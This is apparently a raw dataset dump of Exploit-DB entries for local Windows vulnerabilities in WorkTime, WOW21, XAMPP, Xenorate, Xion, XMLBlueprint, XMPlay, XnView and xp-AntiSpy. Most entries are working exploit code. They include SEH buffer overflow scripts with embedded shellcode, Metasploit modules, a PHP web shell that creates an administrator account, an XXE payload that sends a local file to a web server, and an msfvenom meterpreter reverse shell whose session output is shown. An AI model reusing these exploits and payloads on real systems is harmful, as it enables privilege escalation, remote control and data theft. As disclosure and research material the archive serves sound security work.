deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50664
Description: WorkTime 10.20 Build 4967 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-01-18
Author: Yehia Elghaly

Exploit:
# Exploit Title: WorkTime 10.20 Build 4967 - Unquoted Service Path
# Discovery by: Yehia Elghaly
# Date: 30-12-2021
# Vendor Homepage:  https://www.worktime.com/
# Software Link: https://www.worktime.com/download/worktime_corporate.exe
# Tested Version: 10.20 Build Build 4967
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 7 x86 - Windows Server 2016 x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

WorkTime Server  srvWorkTimeServer  
C:\WorkTime\WorkTimeServerService.exe
Auto

WorkTime Reports Scheduler  WorkTimeReportsScheduler  
C:\Program Files\WorkTimeAdministrator\WorkTimeReportsScheduler.exe                            
Auto

WorkTime Client Watcher Service   WTCWatch 
C:\Program Files\wtc\WTCWatch.exe WTCWatch
Auto


C:\Users\psycho>sc qc  WorkTimeReportsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WorkTimeReportsScheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\WorkTimeAdministrator\WorkTimeRepo
rtsScheduler.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : WorkTime Reports Scheduler
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\psycho>sc qc WTCWatch
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WTCWatch
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files\wtc\WTCWatch.exe WTCWatch
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : WorkTime Client Watcher Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #50818
Description: WOW21 5.0.1.9 - 'Service WOW21_Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-03-10
Author: Antonio Cuomo

Exploit:
# Exploit Title: WOW21 5.0.1.9 - 'Service WOW21_Service' Unquoted Service Path
# Exploit Author: Antonio Cuomo (arkantolo)
# Exploit Date: 2022-03-09
# Vendor : ilwebmaster21
# Version : WOW21_Service 5.0.1.9
# Vendor Homepage :  https://wow21.life/
# Tested on OS: Windows 10 Pro x64

#PoC :
==============

C:\>sc qc WOW21_Service
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: WOW21_Service
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files\WOW21\WOW21_Service.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : WOW21_Service
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #50337
Description: XAMPP 7.4.3 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2021-09-27
Author: Salman Asad

Exploit:
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107

$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file
Exploit-DB #51585
Description: XAMPP 8.2.4 - Unquoted Path
Type: local
Platform: windows
Date: 2023-07-15
Author: Andrey Stoykov

Exploit:
# Exploit Title: XAMPP 8.2.4 - Unquoted Path
# Date: 07/2023
# Exploit Author: Andrey Stoykov
# Version: 8.2.4
# Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.2.4/xampp-windows-x64-8.2.4-0-VS16-installer.exe
# Tested on: Windows Server 2022
# Blog: http://msecureltd.blogspot.com/


Steps to Exploit:

1. Search for unquoted paths
2. Generate meterpreter shell
3. Copy shell to XAMPP directory replacing "mysql.exe"
4. Exploit by double clicking on shell


C:\Users\astoykov>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

mysql                                                                               mysql                                     C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql            Auto



// Generate shell
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.16 lport=4444 -f exe -o mysql.exe 


// Setup listener
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 192.168.1.13
msf6 exploit(multi/handler) > set lport 4443
msf6 exploit(multi/handler) > set payload meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run


msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.13:4443 
[*] Sending stage (175686 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.13:4443 -> 192.168.1.11:49686) at 2023-07-08 03:59:40 -0700


meterpreter > getuid
Server username: WIN-5PT4K404NLO\astoykov
meterpreter > getpid
Current pid: 4724
meterpreter > shell
Process 5884 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.1]
(c) Microsoft Corporation. All rights reserved.
[...]
C:\xampp\mysql\bin>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 80B5-B405

 Directory of C:\xampp\mysql\bin
[...]
Exploit-DB #4325
Description: XAMPP for Windows 1.6.3a - Local Privilege Escalation
Type: local
Platform: windows
Date: 2007-08-27
Author: Inphex

Exploit:
<?php
//Inphex
//htdocs must be accessable and writable,apache must have been ran by root.
//to add a user open like this : script.php?qQx

// Directory of C:\Documents and Settings\Admin

//27.08.2007  16:36    <DIR>          .
//27.08.2007  16:36    <DIR>          ..
//14.08.2007  14:21               108 .asadminpass
//14.08.2007  14:21               772 .asadmintruststore
//14.08.2007  18:31    <DIR>          .exe4j4
//26.08.2007  03:13               427 .glade2
//21.08.2007  16:35    <DIR>          .msf3
//10.08.2007  04:41    <DIR>          Contacts
//27.08.2007  01:44               129 default.pls
//27.08.2007  17:57    <DIR>          Desktop
//23.08.2007  21:12    <DIR>         
$qQa = ($_GET['qmB'] == "")?"./":$_GET['qmB'];
$qQd = opendir($qQa);

if (isset($_GET['qrF']))
{
    $qrX = fopen($_GET['qrF'],"r");
    echo fread($qrX,50000);
    exit;
} elseif(isset($_GET['qQx'])) { exec("net user own own /add & net localgroup Administratoren own /add"); echo "User own -> full privileges successfully addet";exit;}
echo "<textarea rows=40 cols=80 style='position:absolute;margin-left:390;'>";
echo htmlspecialchars(shell_exec("cd ".$qQa." & dir"));
echo "&lt;/textarea&gt;";
while (false !== ($qQr = readdir($qQd))){

switch(filetype($qQa.$qQr))
    {
    case "dir":
        echo "<a href=?qmB=".urlencode(htmlspecialchars(realpath($qQa.$qQr)))."/>".htmlspecialchars($qQr)."</a><br>";
    break;
    case "file":
        echo "<a href=?qrF=".urlencode(htmlspecialchars(realpath($qQa.$qQr))).">".htmlspecialchars($qQr)."</a><br>";
    break;
    }
}
?>

# milw0rm.com [2007-08-27]
Exploit-DB #10371
Description: Xenorate 2.50 - '.xpl' Universal Local Buffer Overflow (SEH) (1)
Type: local
Platform: windows
Date: 2009-12-10
Author: germaya_x

Exploit:
#!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
 Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH)
==============================================================================
	[ª] Exploited by:.......[       germaya_x       ].....................
        [ª] Script:.............[       Xenorate        ].....................
        [ª] version:............[        2.5.0.0        ]..................... 
	[ª] Today:..............[       05/10/2009      ].....................
        [ª] platform............[        Windows        ].....................
        [ª] tested on:..........[     Windows XP SP2    ].....................
        [ª] greetz:.............[  his0k4/D3v!LFUCK3R   ].....................
==============================================================================


	
=cut
##############################################################################
my $bof="\x41" x 88;
my $next_seh="\xEB\x06\x90\x90";#short jmp
my $SEH="\xFD\xA4\x00\x10";#p/p/r--->bass.dll
my $nop="\x90" x 20;
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

###################################################################
open(myfile,'>> germaya_x.xpl');
print myfile $bof.$next_seh.$SEH.$nop.$Shcode;
###################################################################
Exploit-DB #10373
Description: Xenorate 2.50 - '.xpl' Universal Local Buffer Overflow (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2009-12-10
Author: loneferret germaya_x

Exploit:
##
# $Id: xenorate_xpl_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Xenorate 2.50 (.xpl) universal Local Buffer Overflow Exploit (SEH)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Xenorate 2.50
				By creating a specially crafted xpl file, an an attacker may be able
				to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'hack4love <hack4love [at] hotmail.com>',
					'germaya_x',
					'loneferret',
					'jduck'
				],
			'Version'        => '$Revision: 10477 $',
			'References'     =>
				[
					[ 'OSVDB', '57162' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10371' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 5100,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'DisableNops'   =>  true,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret => bass.dll v2.3.0.2
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 19 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME',   [ false, 'The file name.',  'msf.xpl']),
				], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(88)
		sploit << generate_seh_payload(target.ret)
		sploit << payload.encoded

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(sploit)

	end

end
Exploit-DB #9458
Description: Xenorate Media Player 2.6.0.0 - '.xpl' Universal Local Buffer (SEH)
Type: local
Platform: windows
Date: 2009-08-18
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# Xenorate Media Player 2.6.0.0(.xpl)Universal Local Buffer Exploit (SEH)
# http://www.softpedia.com/progDownload/Xenorate-Download-71701.html
####################################################################
## USE>>LOAD PLAYLIST>>HACK4LOVE.XPL>>>BOOM CALC
####################################################################
# ## easy #### this work sooooooooo good############################
####################################################################
my $bof="\x41" x 88;
my $nsh="\xEB\x06\x90\x90";
my $seh="\x4B\x3F\x01\x11";##bass.dll
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.XPL');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-18]
Exploit-DB #9983
Description: Xion Audio Player 1.0 121 - '.m3u' Local Buffer Overflow (2)
Type: local
Platform: windows
Date: 2009-10-16
Author: Dragon Rider

Exploit:
#!/usr/bin/perl
#=====================================
#Xion Audio Player(.m3u File) Local buffer Overflow PoC
#download:http://www.brothersoft.com/xion-audio-player-download-49404.html
#=====================================
#Author:Dragon Rider
#contact:drag0n.rider(at)hotmail.com
#=====================================
#tested on WinXp SP3

my $crash = "\x41" x 5000;
open(myfile,'>>DragonR.m3u'); 
print myfile $crash;
Exploit-DB #47974
Description: XMLBlueprint 16.191112 - XML External Entity Injection
Type: local
Platform: windows
Date: 2020-01-29
Author: Javier Olmedo

Exploit:
# Exploit Title: XMLBlueprint 16.191112 - XML External Entity Injection
# Exploit Author: Javier Olmedo
# Date: 2018-11-14
# Vendor: XMLBlueprint XML Editor
# Software Link: https://www.xmlblueprint.com/update/download-64bit.exe
# Affected Version: 16.191112 and before
# Patched Version: unpatched
# Category: Local
# Platform: XML
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/611.html
# CVE: 2019-19032
# References:
# https://hackpuntes.com/cve-2019-19032-xmlblueprint-16-191112-inyeccion-xml/
 
# 1. Technical Description
# XMLBlueprint XML Editor version 16.191112 and before are affected by XML External Entity
# Injection vulnerability through the malicious XML file. This allows a malicious user
# to read arbitrary files.
 
# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection.

python -m SimpleHTTPServer 80

# 2.2 Upload the payload.dtd file to your web server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

# 2.3 Create a secret.txt file with any content in desktop.

# 2.4 Open poc.xml and click XML -> Validate

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\jolmedo\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 -
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

# 3. Timeline
# 13, november 2019 - [RESEARCHER] Discover
# 13, november 2019 - [RESEARCHER] Report to vendor support
# 14, november 2019 - [DEVELOPER]  Unrecognized vulnerability
# 15, november 2019 - [RESEARCHER] Detailed vulnerability report
# 22, november 2019 - [RESEARCHER] Public disclosure

# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo
Exploit-DB #16556
Description: XMPlay 3.3.0.4 - '.ASX' Filename Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: xmplay_asx.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in XMPlay 3.3.0.4.
				The vulnerability is caused due to a boundary error within
				the parsing of playlists containing an overly long file name.
				This module uses the ASX file format.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'MC',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2006-6063'],
					[ 'OSVDB', '30537'],
					[ 'BID', '21206'],
					[ 'URL', 'http://secunia.com/advisories/22999/' ],
				],

			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'Windows 2000 Pro English SP4',		{ 'Ret' => 0x77e14c29 } ],
					[ 'Windows XP Pro SP2 English',			{ 'Ret' => 0x77dc15c0 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 21 2006',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		drv	=  rand_text_alpha_upper(1)
		ext	=  rand_text_alpha_upper(3)

		sploit =  rand_text_alpha_upper(498) + [ target.ret ].pack('V')
		sploit << make_nops(40) + payload.encoded

		# Build the stream format
		content =  "<ASX VERSION=\"3\">\r\n" + "<ENTRY>\r\n"
		content << "<REF HREF=\"file://#{drv}:\\" + sploit
		content << "." + "#{ext}\"\r\n" + "</ENTRY>\r\n" + "</ASX>\r\n"

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #5346
Description: XnView 1.92.1 - 'FontName' Slideshow Buffer Overflow
Type: local
Platform: windows
Date: 2008-04-02
Author: haluznik

Exploit:
#!/usr/bin/perl

# ================================================================
# XnView 1.92.1 Slideshow "FontName" Buffer Overflow
# ================================================================
#
# Calc execution POC Exploit for WinXP SP1 pro English
#
# Found by   : Stefan Cornelius, Secunia Research
# Advisory   : http://secunia.com/secunia_research/2008-6/advisory
#
# Exploit by : haluznik | haluznik<at>gmail.com
#
# 04.01.2008 ..April Fools Day ;)
# ================================================================


print "\n [*] XnView 1.92.1 Slideshow exploit by haluznik\n\n";

my $head=
"\x23\x20\x53\x6c\x69\x64\x65\x20\x53\x68".
"\x6f\x77\x20\x53\x65\x71\x75\x65\x6e\x63".
"\x65\x0d\x0a\x46\x6f\x6e\x74\x4e\x61\x6d".
"\x65\x20\x3d\x20\x22";

$fontname = "A" x 32 . "\xcc\x59\xfb\x77";

my $shellcode=
"\x33\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b".
"\x50\x53\xb9\x44\x80\xc2\x77\xff\xd1\x50".
"\xbb\xfd\x98\xe7\x77\xff\xd3";

my $tail=
"\x22\x0d\x0a\x22\x43\x3a\x5c\x74\x65\x73".
"\x74\x2e\x6a\x70\x67\x22\x0d\x0a";

$sld = $head . $fontname . $shellcode . $tail;

print " [+] Creating poc.sld file..\n";

open(file,">poc.sld") || die " [-] cannot write file\n";
print(file $sld);
close(file);
print " [*] Done!\n";

# milw0rm.com [2008-04-02]
Exploit-DB #9984
Description: xp-AntiSpy 3.9.7-4 - '.xpas' File Buffer Overflow
Type: local
Platform: windows
Date: 2009-10-26
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

######################################################################
#
# xp-AntiSpy <= 3.9.7-4 Local (.XPAS File) Local Buffer Overflow PoC
# Found By:	Dr_IDE
# Tested On:	XPSP3
# Notes:
# 1) The program does not check the imported data in any way.
# 2) If you import this profile and select it, the program will crash.
# 3) We get a hold of a register so execution may be possible?
#
######################################################################

buff = ("\x41" * 5000);

sploit = (buff)

try:
	print ("\n\n#############################################################");
	print ("# xp-AntiSpy <= 3.9.7-4 Local (.XPAS File) Local DoS Exploit");
	print ("# By: Dr_IDE");
	print ("# pocoftheday.blogspot.com");
	print ("#############################################################\n");
	print ("[*] Writing evil .XPAS profile file.");
	f1 = open("Dr_IDEs_Evil_Profile.xpas","w");
	f1.write(sploit);
	f1.close();
	print ('[*] Success. Import File and Click "File -> Evil Profile".');

except:
	print ("[-] Error, could not write the file.");

#[pocoftheday.blogspot.com]